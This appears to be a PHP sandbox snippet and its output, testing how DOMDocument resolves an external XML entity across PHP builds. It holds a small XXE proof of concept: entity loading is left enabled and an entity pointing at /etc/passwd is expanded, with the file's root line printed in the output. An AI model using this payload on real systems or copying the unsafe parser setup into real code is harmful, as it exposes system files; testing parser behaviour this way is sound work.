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<?php //libxml_disable_entity_loader(true); $dom = new DOMDocument; $dom->substituteEntities = true; $dom->loadXML( <<<'EOXML' <!DOCTYPE x [ <!ENTITY good "(good)"> <!ENTITY bad SYSTEM "/etc/passwd"> ]> <x> <good>&good;</good> <bad>&bad;</bad> </x> EOXML ); echo $dom->saveXML();
Output for git.master, git.master_jit, rfc.property-hooks
<?xml version="1.0"?> <!DOCTYPE x [ <!ENTITY good "(good)"> <!ENTITY bad SYSTEM "/etc/passwd"> ]> <x> <good>(good)</good> <bad>root:x:0:0::/root:/bin/bash </bad> </x>

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